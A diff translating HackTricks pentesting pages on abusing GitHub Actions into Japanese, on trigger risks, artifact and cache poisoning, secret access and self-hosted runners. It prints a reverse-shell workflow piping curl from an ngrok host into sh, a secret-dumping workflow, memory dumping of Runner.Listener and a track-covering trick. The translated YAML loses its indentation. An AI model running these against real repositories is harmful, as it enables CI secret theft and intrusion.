-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています:
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされた場合、**`GITHUB_TOKEN`はプルリクエストから**読み取り専用の権限を持っています**。
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+攻撃者が実行されるコードを制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、攻撃者は例えば**悪意のあるアーティファクトをアップロードする**ことができます。
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに**書き込み権限**と**シークレットへのアクセス**を持っています(許可を求めません)。
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+ワークフロートリガー**`pull_request_target`**は**PRによって与えられたコンテキストではなく、ベースコンテキストで実行される**ことに注意してください(**信頼できないコードを実行しないため**)。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
+さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
-An this one will have **access to secrets**.
+そして、これには**シークレットへのアクセス**があります。
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。
+この例では、別の「テストを実行」ワークフローが完了した後に実行されるようにワークフローが構成されています:
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
-
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+この種のワークフローは、**`pull_request`** または **`pull_request_target`** を介して外部ユーザーによって **トリガーされる** **ワークフロー** に **依存している** 場合、攻撃される可能性があります。いくつかの脆弱な例は [**このブログ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**で見つけることができます。** 最初の例は、**`workflow_run`** トリガーされたワークフローが攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\
+2つ目の例は、**信頼できない** コードから **`workflow_run`** ワークフローに **アーティファクト** を **渡す** ことと、このアーティファクトの内容を **RCEに対して脆弱** な方法で使用することです。
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: `pull_request` から実行された場合、使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する
-## Abusing Forked Execution
+## フォークされた実行の悪用
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。
-### Untrusted checkout execution
+### 信頼できないチェックアウト実行
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+**`pull_request`** の場合、ワークフローは **PRのコンテキスト** で実行されるため(**悪意のあるPRのコード** を実行します)、誰かが **最初に承認する必要があります** そして、いくつかの [制限](./#pull_request) で実行されます。
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+**`pull_request_target` または `workflow_run`** を使用するワークフローが **`pull_request_target` または `pull_request`** からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> ただし、**アクション** に **明示的なPRチェックアウト** があり、**PRからコードを取得する**(ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる行12を確認):
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。
-### Context Script Injections
+### コンテキストスクリプトインジェクション
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **GITHUB_ENV スクリプトインジェクション**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:
-### Vulnerable Third Party Github Actions
+### 脆弱なサードパーティのGitHubアクション
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+問題は、**`path`** パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。
+脆弱なワークフローの例:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+このワークフローを使って攻撃することができます:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
-
---
-## Other External Access
+## その他の外部アクセス
-### Deleted Namespace Repo Hijacking
+### 削除された名前空間のリポジトリハイジャック
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたリポジトリと同じ名前のリポジトリを作成する**ことを許可します。
> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+他のリポジトリが**このユーザーのリポジトリからの依存関係を使用している**場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
-## Repo Pivoting
+## リポジトリピボティング
> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します(前のセクションを確認してください)。
-### Cache Poisoning
+### キャッシュポイズニング
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妨害**し、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妨害**される可能性があります。
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact Poisoning
+### アーティファクトポイズニング
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+ワークフローは**他のワークフローやリポジトリからのアーティファクトを使用する**ことができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妨害**することに成功すれば、他のワークフローを**妨害**することができます:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## アクションからのポストエクスプロイテーション
-### Accessing AWS and GCP via OIDC
+### OIDCを介したAWSおよびGCPへのアクセス
-Check the following pages:
+以下のページを確認してください:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### 秘密へのアクセス
-If you are injecting content into a script it's interesting to know how you can access secrets:
+スクリプトにコンテンツを注入している場合、秘密にアクセスする方法を知っておくと興味深いです:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- 秘密またはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
-List secrets in Github Action output
-
+Github Action出力の秘密をリストする
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+シークレットを使ってリバースシェルを取得
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- シークレットが**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- JavaScriptアクションの場合、シークレットは環境変数を通じて送信されます。
+- ```bash
+ps axe | grep node
+```
+- **カスタムアクション**の場合、リスクはプログラムが**引数**から取得したシークレットをどのように使用するかによって異なります:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### セルフホステッドランナーの悪用
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+**セルフホステッド**ランナーは、**追加の機密情報**や他の**ネットワークシステム**(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破棄されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。
+セルフホステッドランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\
+以下の展開可能な例を参照してください:
Github Action Build & Push Docker Image
-
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+前のコードで見たように、Githubレジストリは**`ghcr.io`**にホストされています。
+リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Github Actionsログの機密情報
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+たとえ**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。
-## Covering your Tracks
+## 足跡を隠す
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、インターネット上のGitHubでの**すべての活動が隠されます**(基本的にすべてのエクスプロイトPRが削除されます)。
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確実にします :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。
-## Tools
+## ツール
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..dfdcd0dbe 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
-# Gh Actions - Artifact Poisoning
-
-
-
-
-
+# Gh Actions - アーティファクトポイズニング
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..40ab386fc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
-# GH Actions - Cache Poisoning
-
-
-
-
-
+# GH Actions - キャッシュポイズニング
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..afe083bc8 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
-# Gh Actions - Context Script Injections
-
-
-
-
-
+# Gh Actions - コンテキストスクリプトインジェクション
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..7558ae4d9 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -2,59 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Githubから削除されたとされるデータにアクセスする方法は[**このブログ記事で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。
## Accessing Deleted Fork Data
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. 公開リポジトリをフォークします。
+2. フォークにコードをコミットします。
+3. フォークを削除します。
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> 削除されたフォークにコミットされたデータはまだアクセス可能です。
## Accessing Deleted Repo Data
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. GitHubに公開リポジトリがあります。
+2. ユーザーがあなたのリポジトリをフォークします。
+3. 彼らがフォークした後にデータをコミットします(彼らはあなたの更新とフォークを同期しません)。
+4. リポジトリ全体を削除します。
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> リポジトリを削除しても、行われたすべての変更はフォークを通じてアクセス可能です。
## Accessing Private Repo Data
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. 最終的に公開されるプライベートリポジトリを作成します。
+2. そのリポジトリのプライベートな内部バージョンを作成し(フォークを通じて)、公開しない機能のための追加コードをコミットします。
+3. “アップストリーム”リポジトリを公開し、フォークをプライベートに保ちます。
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> 内部フォークが作成された時点から公開バージョンが公開されるまでの間にプッシュされたすべてのデータにアクセスすることが可能です。
## How to discover commits from deleted/hidden forks
-The same blog post propose 2 options:
+同じブログ記事は2つのオプションを提案しています:
### Directly accessing the commit
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+コミットID(sha-1)値が知られている場合、`https://github.com///commit/`でアクセス可能です。
### Brute-forcing short SHA-1 values
-It's the same to access both of these:
+これらの両方にアクセスするのは同じです:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+そして、最新のものはブルートフォース可能な短いsha-1を使用しています。
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..4cc12f130 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,248 +1,242 @@
-# Basic Github Information
+# 基本的なGithub情報
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## 基本構造
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
